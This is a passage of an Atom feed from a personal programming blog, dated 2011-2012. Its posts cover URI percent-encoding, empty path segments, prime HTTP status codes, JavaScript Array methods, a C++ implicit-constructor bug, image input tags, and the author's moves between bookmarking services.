  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;&#39;parent.js&#39;:&lt;br&gt;   var worker = new Worker();&lt;br&gt;   worker.postMessage(&quot;initialize&quot;);&lt;br&gt;&lt;br&gt;&#39;worker.js&#39;:&lt;br&gt;   setTimeout(&lt;br&gt;      function() {&lt;br&gt;         onmessage = function(e) {&lt;br&gt;            // ...&lt;br&gt;         }&lt;br&gt;      },&lt;br&gt;      0);&lt;br&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Prime HTTP Status Codes</title>
		<link href="https://deletethis.net/dave/2012-02/Prime+HTTP+Status+Codes/"/>
		<updated>2012-02-22T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-02/Prime+HTTP+Status+Codes/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;
  These are the &lt;a href=&quot;http://www.wolframalpha.com/input/?i=primes+between+100+and+600&quot;&gt;prime&lt;/a&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Http_status_codes&quot;&gt;HTTP status codes&lt;/a&gt;:
  &lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Http_status_codes#101&quot;&gt;101 Switching Protocols&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Http_status_codes#103&quot;&gt;103 Checkpoint&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Http_status_codes#307&quot;&gt;307 Temporary Redirect&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Http_status_codes#401&quot;&gt;401 Unauthorized&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Http_status_codes#409&quot;&gt;409 Conflict&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Http_status_codes#431&quot;&gt;431 Request Header Fields Too Large&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Http_status_codes#449&quot;&gt;449 Retry With&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Http_status_codes#499&quot;&gt;499 Client Closed Request&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Http_status_codes#503&quot;&gt;503 Service Unavailable&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Http_status_codes#509&quot;&gt;509 Bandwidth Limit Exceeded&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Http_status_codes#599&quot;&gt;599 Network connect timeout error&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>URI Percent Encoding Ignorance Level 2 - There is no Unencoded URI</title>
		<link href="https://deletethis.net/dave/2012-02/URI+Percent+Encoding+Ignorance+Level+2+-+There+is+no+Unencoded+URI/"/>
		<updated>2012-02-20T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-02/URI+Percent+Encoding+Ignorance+Level+2+-+There+is+no+Unencoded+URI/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;&lt;i&gt;As a professional URI aficionado I deal with various levels of ignorance on URI percent-encoding (aka URI encoding, or URL escaping).&lt;/i&gt;&lt;/p&gt;&lt;p&gt;
    Getting into the more subtle levels of URI percent-encoding ignorance, folks try to apply their knowledge of percent-encoding to URIs as a whole producing the concepts escaped URIs and unescaped
    URIs. However there are no such things - URIs themselves aren&#39;t percent-encoded or decoded but rather contain characters that are percent-encoded or decoded. Applying percent-encoding or decoding
    to a URI as a whole produces a new and non-equivalent URI.
  &lt;/p&gt;&lt;p&gt;
    Instead of lingering on the incorrect concepts we&#39;ll just cover the correct ones: there&#39;s raw unencoded data, non-normal form URIs and normal form URIs. For example:
  &lt;/p&gt;&lt;ol type=&quot;A&quot;&gt;&lt;li&gt;http://example.com/%74%68%65%3F%70%61%74%68?query
    &lt;/li&gt;&lt;li&gt;http://example.com/the%3Fpath?query
    &lt;/li&gt;&lt;li&gt;&quot;http&quot;, &quot;example.com&quot;, &quot;the?path&quot;, &quot;query&quot;
    &lt;/li&gt;&lt;/ol&gt;&lt;p&gt;
    In the above (A) is not an &#39;encoded URI&#39; but rather a non-normal form URI. The characters of &#39;the&#39; and &#39;path&#39; are percent-encoded but as unreserved characters specific in the RFC should not be
    encoded. In the normal form of the URI (B) the characters are decoded. But (B) is not a &#39;decoded URI&#39; -- it still has an encoded &#39;?&#39; in it because that&#39;s a reserved character which by the RFC
    holds different meaning when appearing decoded versus encoded. Specifically in this case, it appears encoded which means it is data -- a literal &#39;?&#39; that appears as part of the path segment. This
    is as opposed to the decoded &#39;?&#39; that appears in the URI which is not part of the path but rather the delimiter to the query.
  &lt;/p&gt;&lt;p&gt;
    Usually when developers talk about decoding the URI what they really want is the raw data from the URI. The raw decoded data is (C) above. The only thing to note beyond what&#39;s covered already is
    that to obtain the decoded data one must parse the URI before percent decoding all percent-encoded octets.
  &lt;/p&gt;&lt;p&gt;
    Of course the exception here is when a URI &lt;i&gt;is&lt;/i&gt; the raw data. In this case you must percent-encode the URI to have it appear in another URI. More on percent-encoding while constructing URIs
    later.
  &lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-2514262428576226729?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Why I Like Glitch</title>
		<link href="https://deletethis.net/dave/2012-02/Why+I+Like+Glitch/"/>
		<updated>2012-02-17T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-02/Why+I+Like+Glitch/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    Sarah and I have been enjoying &lt;a href=&quot;http://www.glitch.com&quot;&gt;Glitch&lt;/a&gt; for a while now. Reviews are &lt;a href=&quot;http://arstechnica.com/gaming/news/2011/11/glitch-the-battle-to-build-a-massive-multiplayer-game-without-combat.ars&quot;&gt;usually positive&lt;/a&gt; although occasionally &lt;a href=&quot;http://www.rockpapershotgun.com/2011/10/04/review-glitch/&quot;&gt;biting (but mostly accurate)&lt;/a&gt;.
  &lt;/p&gt;&lt;p&gt;
    I enjoy Glitch as a game of exploration: exploring the game&#39;s lands with hidden and secret rooms, and exploring the games skills and game mechanics. The issue with my enjoyment coming from
    exploration is that after I&#39;ve explored all streets and learned all skills I&#39;ve got nothing left to do. But I&#39;ve found that even after that I can have fun writing client side JavaScript against
    &lt;a href=&quot;http://developer.glitch.com/&quot;&gt;Glitch&#39;s web APIs&lt;/a&gt; making tools (I work on the &lt;a href=&quot;http://deletethis.net/dave/dev/glitch-helperator/&quot;&gt;Glitch Helperator&lt;/a&gt;) for use in Glitch. And
    on a semi-regular basis they add new features reviving my interest in the game itself.
  &lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-6206283866166516855?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>URI Percent-Encoding Ignorance Level 1 - Purpose</title>
		<link href="https://deletethis.net/dave/2012-02/URI+Percent-Encoding+Ignorance+Level+1+-+Purpose/"/>
		<updated>2012-02-15T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-02/URI+Percent-Encoding+Ignorance+Level+1+-+Purpose/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;&lt;i&gt;As a professional URI aficionado I deal with various levels of ignorance on URI percent-encoding (aka URI encoding, or URL escaping).&lt;/i&gt;&lt;/p&gt;&lt;p&gt;
    Worse than the lame blog comments hating on percent-encoding is the shipping code which can do actual damage. In one very large project I won&#39;t name, I&#39;ve fixed code that decodes all
    percent-encoded octets in a URI in order to get rid of pesky percents before calling ShellExecute. An unnamed developer with similar intent but clearly much craftier did the same thing in a loop
    until the string&#39;s length stopped changing. As it turns out percent-encoding serves a purpose and can&#39;t just be removed arbitrarily.
  &lt;/p&gt;&lt;p&gt;
    Percent-encoding exists so that one can represent data in a URI that would otherwise not be allowed or would be interpretted as a delimiter instead of data. For example, the space character
    (U+0020) is not allowed in a URI and so must be percent-encoded in order to appear in a URI:
  &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;code&gt;http://example.com/the%20path/&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;http://example.com/the path/&lt;/code&gt;&lt;/li&gt;&lt;/ol&gt;In the above the first is a valid URI while the second is not valid since a space appears directly in the URI. Depending on the context and the code through which the wannabe URI is run one
  may get unexpected failure.
  &lt;p&gt;
    For an additional example, the question mark delimits the path from the query. If one wanted the question mark to appear as part of the path rather than delimit the path from the query, it must
    be percent-encoded:
  &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;code&gt;http://example.com/foo%3Fbar&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;http://example.com/foo?bar&lt;/code&gt;&lt;/li&gt;&lt;/ol&gt;In the second, the question mark appears plainly and so delimits the path &quot;&lt;code&gt;/foo&lt;/code&gt;&quot; from the query &quot;&lt;code&gt;bar&lt;/code&gt;&quot;. And in the first, the querstion mark is percent-encoded and so
  the path is &quot;&lt;code&gt;/foo%3Fbar&lt;/code&gt;&quot;.
  &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-546284491891509604?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Blackmail DRM - Stolen Thoughts</title>
		<link href="https://deletethis.net/dave/2012-02/Blackmail+DRM+-+Stolen+Thoughts/"/>
		<updated>2012-02-13T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-02/Blackmail+DRM+-+Stolen+Thoughts/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    Most existing DRM attempts to only allow the user to access the DRM&#39;ed content with particular applications or with particular credentials so that if the file is shared it won&#39;t be useful to
    others. A better solution is to encode any of the user&#39;s horrible secrets into unique versions of the DRM&#39;ed content so that the user won&#39;t &lt;i&gt;want&lt;/i&gt; to share it. Entangle the users and the
    content provider&#39;s secrets together in one document and accordingly their interests. I call this Blackmail DRM. For an implementation it is important to point out that the user&#39;s horrible secret
    doesn&#39;t need to be verified as accurate, but merely verified as believable.
  &lt;/p&gt;&lt;p&gt;
    Apparently I need to get these blog posts written faster because only recently I read about &lt;a href=&quot;http://www.publishersweekly.com/pw/by-topic/columns-and-blogs/cory-doctorow/article/50413-with-a-little-help-digital-lysenkoism.html&quot;&gt;Social DRM&lt;/a&gt; which is a light weight version of my idea
    but with a misleading name. Instead of horrible secrets, they say they&#39;ll use personal information like the user&#39;s name in the DRM&#39;ed content. More of my thoughts stolen and before I even had a
    chance to think of it first!
  &lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-2756638276610953148?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>URI Percent Encoding Ignorance Level 0 - Existence</title>
		<link href="https://deletethis.net/dave/2012-02/URI+Percent+Encoding+Ignorance+Level+0+-+Existence/"/>
		<updated>2012-02-10T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-02/URI+Percent+Encoding+Ignorance+Level+0+-+Existence/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    As a professional URI aficionado I deal with various levels of ignorance on URI percent-encoding (aka URI encoding, or URL escaping). The basest ignorance is with respect to the mere existence of
    percent-encoding. Percents in URIs are special: they always represent the start of a percent-encoded octet. That is to say, a percent is always followed by two hex digits that represents a value
    between 0 and 255 and doesn&#39;t show up in a URI otherwise.
  &lt;/p&gt;&lt;p&gt;
    The IPv6 textual syntax for scoped addresses uses the &#39;%&#39; to delimit the zone ID from the rest of the address. When it came time to define &lt;a href=&quot;http://tools.ietf.org/html/rfc4007#page-19&quot;&gt;how
    to represent scoped IPv6 addresses in URIs&lt;/a&gt; there were two camps: Folks who wanted to use the IPv6 format as is in the URI, and those who wanted to encode or replace the &#39;%&#39; with a different
    character. The &lt;a href=&quot;http://www.ietf.org/mail-archive/web/ipv6/current/msg04613.html&quot;&gt;resulting thread&lt;/a&gt; was more lively than what shows up on the IETF URI discussion mailing list.
    Ultimately we went with a percent-encoded &#39;%&#39; which means the percent maintains its special status and singular purpose.
  &lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-1229188482458380028?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>JavaScript Array methods in the latest browsers</title>
		<link href="https://deletethis.net/dave/2011-12/JavaScript+Array+methods+in+the+latest+browsers/"/>
		<updated>2011-12-03T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2011-12/JavaScript+Array+methods+in+the+latest+browsers/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    Cool and (relatively) &lt;a href=&quot;http://dev.opera.com/articles/view/javascript-array-extras-in-detail/&quot;&gt;new methods on the JavaScript Array object&lt;/a&gt; are here in the most recent versions of your
    favorite browser! More about them on &lt;a href=&quot;http://es5.github.com/#x15.4.4.16&quot;&gt;ECMAScript5&lt;/a&gt;, &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/k4h76zbx(v=VS.94).aspx&quot;&gt;MSDN&lt;/a&gt;, the &lt;a href=&quot;http://blogs.msdn.com/b/ie/archive/2010/06/25/enhanced-scripting-in-ie9-ecmascript-5-support-and-more.aspx&quot;&gt;IE blog&lt;/a&gt;, or &lt;a href=&quot;https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Array&quot;&gt;Mozilla&#39;s&lt;/a&gt; documentation. Here&#39;s the list that&#39;s got me excited:
  &lt;/p&gt;&lt;dl&gt;&lt;dt&gt;&lt;a href=&quot;http://es5.github.com/#x15.4.4.17&quot;&gt;some&lt;/a&gt; &amp;amp; &lt;a href=&quot;http://es5.github.com/#x15.4.4.16&quot;&gt;every&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;
      Does your callback function return true for any (some) or all (every) of the array&#39;s elements?
    &lt;/dd&gt;&lt;dt&gt;&lt;a href=&quot;http://es5.github.com/#x15.4.4.20&quot;&gt;filter&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;
      Filters out elements for which your callback function returns false (in a new copy of the Array).
    &lt;/dd&gt;&lt;dt&gt;&lt;a href=&quot;http://es5.github.com/#x15.4.4.19&quot;&gt;map&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;
      Each element is replaced with the result of it run through your callback function (in a new copy of the Array).
    &lt;/dd&gt;&lt;dt&gt;&lt;a href=&quot;http://es5.github.com/#x15.4.4.21&quot;&gt;reduce&lt;/a&gt; &amp;amp; &lt;a href=&quot;http://es5.github.com/#x15.4.4.22&quot;&gt;reduceRight&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;
      Your callback is called on each element in the array in sequence (from start to finish in reduce and from finish to start in reduceRight) with the result of the previous callback call passed to
      the next. Reduce your array to a single value aggregated in any manner you like via your callback function.
    &lt;/dd&gt;&lt;dt&gt;&lt;a href=&quot;http://es5.github.com/#x15.4.4.18&quot;&gt;forEach&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;
      Simply calls your callback passing in each element of your array in turn. I have vague performance concerns as compared to using a normal for loop.
    &lt;/dd&gt;&lt;dt&gt;&lt;a href=&quot;http://es5.github.com/#x15.4.4.14&quot;&gt;indexOf&lt;/a&gt; &amp;amp; &lt;a href=&quot;http://es5.github.com/#x15.4.4.15&quot;&gt;lastIndexOf&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;
      Finds the first or last (respectively) element in the array that matches the provided value via strict equality operator and returns the index of that element or -1 if there is no such element.
      Surprisingly, no custom comparison callback method mechanism is provided.
    &lt;/dd&gt;&lt;dd&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-4312179088768580080?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/dd&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Bug Spotting: Ctors with default parameters</title>
		<link href="https://deletethis.net/dave/2011-12/Bug+Spotting-+Ctors+with+default+parameters/"/>
		<updated>2011-12-01T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2011-12/Bug+Spotting-+Ctors+with+default+parameters/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    The following code compiled just fine but did not at all act in the manner I expected:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;BOOL CheckForThing(__in CObj *pObj, __in IFigMgr* pFigMgr, __in_opt LPCWSTR url)&lt;br&gt;{&lt;br&gt;    BOOL fCheck = FALSE;&lt;br&gt;    if (SubCheck(pObj))&lt;br&gt;    {&lt;br&gt;        ...&lt;/code&gt;&lt;/pre&gt;I’m
  calling SubCheck which looks like:
  &lt;pre&gt;&lt;code&gt;bool SubCheck(const CObj&amp;amp; obj);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    Did you spot the bug? As you can see I should be passing in *pObj not pObj since the method takes a const CObj&amp;amp; not a CObj*. But then why does it compile?
  &lt;/p&gt;&lt;p&gt;
    It works because CObj has a constructor with all but one param with default values and CObj is derived from IUnknown:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;CObj(__in_opt IUnknown * pUnkOuter, __in_opt LPCWSTR pszUrl = NULL);&lt;/code&gt;&lt;/pre&gt;Accordingly C++ uses this constructor as an implicit conversion operator. So instead of passing in my
  CObj, I end up creating a new CObj on the stack passing in the CObj I wanted as the outer object which has a number of issues.
  &lt;p&gt;
    The lesson is unless you really want this behavior, don&#39;t make constructors with all but 1 or 0 default parameters. If you need to do that consider using the &#39;explicit&#39; keyword on the
    constructor.
  &lt;/p&gt;&lt;p&gt;
    More info about &lt;a href=&quot;http://stackoverflow.com/questions/174349/forcing-single-argument-constructors-to-be-explicit-in-c&quot;&gt;forcing single argument constructors to be explicit&lt;/a&gt; is available
    on stack overflow.
  &lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-8511896840448096081?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Replacing Google Reader Shared Feeds with Tumblr</title>
		<link href="https://deletethis.net/dave/2011-11/Replacing+Google+Reader+Shared+Feeds+with+Tumblr/"/>
		<updated>2011-11-28T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2011-11/Replacing+Google+Reader+Shared+Feeds+with+Tumblr/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    Last time I wrote about how &lt;a href=&quot;http://deletethis.net/dave/?uri=http%3A%2F%2Fdavescoolblog.blogspot.com%2F2011%2F11%2Freplacing-delicious-with-google-reader.html&quot;&gt;I switched from Delicious
    to Google Reader&#39;s shared links feature&lt;/a&gt; only to find out that week that &lt;a href=&quot;http://googlereader.blogspot.com/2011/10/upcoming-changes-to-reader-new-look-new.html&quot;&gt;Google was removing the
    Google Reader shared links feature&lt;/a&gt; in favor of Google Plus social features (I&#39;ll save my Google Plus rant for another day).
  &lt;/p&gt;&lt;p&gt;
    Forced to find something new again, I&#39;m now very pleased with &lt;a href=&quot;http://sequelguy.tumblr.com/&quot;&gt;Tumblr&lt;/a&gt;. Google Reader has Tumblr in its preset list of Send To sites which makes it
    relatively easy to add articles. And Tumblr&#39;s UX for adding things lets me easily pick a photo or video to display from the article - something which I had put together with a less convenient UX
    on my bespoke blogging system. For adding things outside of Google Reader I made a &lt;a href=&quot;http://deletethis.net/dave/activity/&quot;&gt;Tumblr accelerator&lt;/a&gt; to hookup to the Tumblr Add UX.
  &lt;/p&gt;&lt;p&gt;
    Of course they have an RSS feed which I hooked up to my blog. The only issue I had there is that when you add a link (and not a video or photo) to Tumblr, the RSS feed entry title for that link
    is repeated in the entry description as a link followed by a colon and then the actual description entered into Tumblr. I want my title separate so I can apply my own markup so I did a bit of
    parsing of the description to remove the repeated title from the description.
  &lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-9044142281140853902?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>URI Empty Path Segments Matter</title>
		<link href="https://deletethis.net/dave/2011-11/URI+Empty+Path+Segments+Matter/"/>
		<updated>2011-11-23T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2011-11/URI+Empty+Path+Segments+Matter/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    Shortly after joining the Internet Explorer team I got a bug from a PM on a popular Microsoft web server product that I&#39;ll leave unnamed (from now on UWS). The bug said that IE was handling empty
    path segments incorrectly by not removing them before resolving dotted path segments. For example UWS would do the following:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;A.1. http://example.com/a/b//../&lt;br&gt;A.2. http://example.com/a/b/../&lt;br&gt;A.3. http://example.com/a/&lt;/code&gt;&lt;/pre&gt;In step 1 they are given a URI with dotted path segment and an empty
  path segment. In step 2 they remove the empty path segment, and in step 3 they resolve the dotted path segment. Whereas, given the same initial URI, IE would do the following:
  &lt;pre&gt;&lt;code&gt;B.1. http://example.com/a/b//../&lt;br&gt;B.2. http://example.com/a/b/&lt;/code&gt;&lt;/pre&gt;IE simply resolves the dotted path segment against the empty path segment and removes them both. So, how
  did I resolve this bug? As &quot;By Design&quot; of course!
  &lt;p&gt;
    The URI RFC allows path segments of zero length and does not assign them any special meaning. So generic user agents that intend to work on the web must not treat an empty path segment any
    different from a path segment with some text in it. In the case above IE is doing the correct thing.
  &lt;/p&gt;&lt;p&gt;
    That&#39;s the case for generic user agents, however servers may decide that a URI with an empty path segment returns the same resource as a the same URI without that empty path segment. Essentially
    they can decide to ignore empty path segments. Both IIS and Apache work this way and thus return the same resource for the following URIs:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;http://exmaple.com/foo//bar///baz&lt;br&gt;http://example.com/foo/bar/baz&lt;/code&gt;&lt;/pre&gt;The issue for UWS is that it removes empty path segments before resolving dotted path segments. It must
  follow normal URI procedure before applying its own additional rules for empty path segments. Not doing that means they end up violating URI equivalency rules: URIs (A.1) and (B.2) are equivalent
  but UWS will not return the same resource for them.
  &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-7528293767818521387?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Features of image type input tags in HTML</title>
		<link href="https://deletethis.net/dave/2011-11/Features+of+image+type+input+tags+in+HTML/"/>
		<updated>2011-11-21T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2011-11/Features+of+image+type+input+tags+in+HTML/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    A bug came up the other day involving markup containing &lt;code&gt;&amp;lt;input type=&quot;image&quot; src=&quot;http://example.com/...&lt;/code&gt;. I knew that &quot;image&quot; was a valid input type but it wasn&#39;t until that moment
    that I realized I didn&#39;t know what it did. Looking it up I found that it displays the specified image and when the user clicks on the image, the form is submitted with an additional two name
    value pairs: the x and y positions of the point at which the user clicked the image.
  &lt;/p&gt;&lt;p&gt;
    Take for example the following HTML:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;http://example.com/&quot;&amp;gt;&lt;br&gt;&amp;lt;input type=&quot;image&quot; name=&quot;foo&quot; src=&quot;http://deletethis.net/dave/images/davebefore.jpg&quot;&amp;gt;&lt;br&gt;&amp;lt;/form&amp;gt;&lt;/code&gt;&lt;/pre&gt;If the user
  clicks on the image, the browser will submit the form with a URI like the following:&lt;code&gt;http://example.com/?foo.x=145&amp;amp;foo.y=124&lt;/code&gt;.
  &lt;p&gt;
    This seemed like an incredibly specific feature to be built directly into the language when this could instead be done with javascript. I looked a bit further and saw that its been in HTML since
    at least &lt;a href=&quot;http://tools.ietf.org/html/rfc1866#section-8.1.2.5&quot;&gt;HTML2&lt;/a&gt;, which of course makes much more sense. Javascript barely existed at that point and sending off the user&#39;s click
    location in a form may have been the only way to do something interesting with that action.
  &lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-3312444837591781292?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Replacing Delicious with Google Reader</title>
		<link href="https://deletethis.net/dave/2011-11/Replacing+Delicious+with+Google+Reader/"/>
		<updated>2011-11-17T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2011-11/Replacing+Delicious+with+Google+Reader/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    I had previously replaced my use of Delicious with Google Reader. Delicious had a number of issues during their switch over from Yahoo to the new owners and I was eventually fed up enough to
    remove it from daily use. I used Delicious to do the following things:
  &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Create a list of things to read later
    &lt;/li&gt;&lt;li&gt;Save things to read again in the future
    &lt;/li&gt;&lt;li&gt;Search through things I read and enjoyed (esp via tags)
    &lt;/li&gt;&lt;li&gt;Annotate and share things on my blog
    &lt;/li&gt;&lt;/ul&gt;I realized that since I did most of my web browsing in Google Reader now anyway I may as well make use of its features. I star things to note I want to read it later or save to read again
  later. I can annotate with notes in Google Reader and I can share items to my web site by way of the shared items feed. Additionally for when I&#39;m not in Google Reader there&#39;s a bookmarklet to add
  an arbitrary web site as a shared item in Google Reader.
  &lt;p&gt;
    Of course I wrote this and switched over about 1 week before Google removed the sharing feature from Google Reader. I&#39;m irritated but in practice it forced me to find a different option which has
    worked out mostly better. New blog post coming soon about that...
  &lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-2814590637980996314?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Haven&#39;t Been Posting Much</title>
		<link href="https://deletethis.net/dave/2011-10/Haven-t+Been+Posting+Much/"/>
		<updated>2011-10-18T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2011-10/Haven-t+Been+Posting+Much/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;
  I haven&#39;t been updating my blog recently. But I have three excellent reasons:
  &lt;ul&gt;&lt;li&gt;The manner in which I use &lt;a href=&quot;http://www.zdnet.com/blog/violetblue/avos-delicious-disaster-lessons-from-a-complete-failure/705&quot;&gt;Delicious is broken&lt;/a&gt;.
    &lt;/li&gt;&lt;li&gt;I&#39;ve been playing &lt;a href=&quot;http://www.glitch.com/&quot;&gt;Glitch&lt;/a&gt; instead of reading through Google Reader.
    &lt;/li&gt;&lt;li&gt;I have a &lt;a href=&quot;http://deletethis.net/dave/?q=alex&amp;amp;link=off&amp;amp;blog=off&quot;&gt;newborn&lt;/a&gt;!
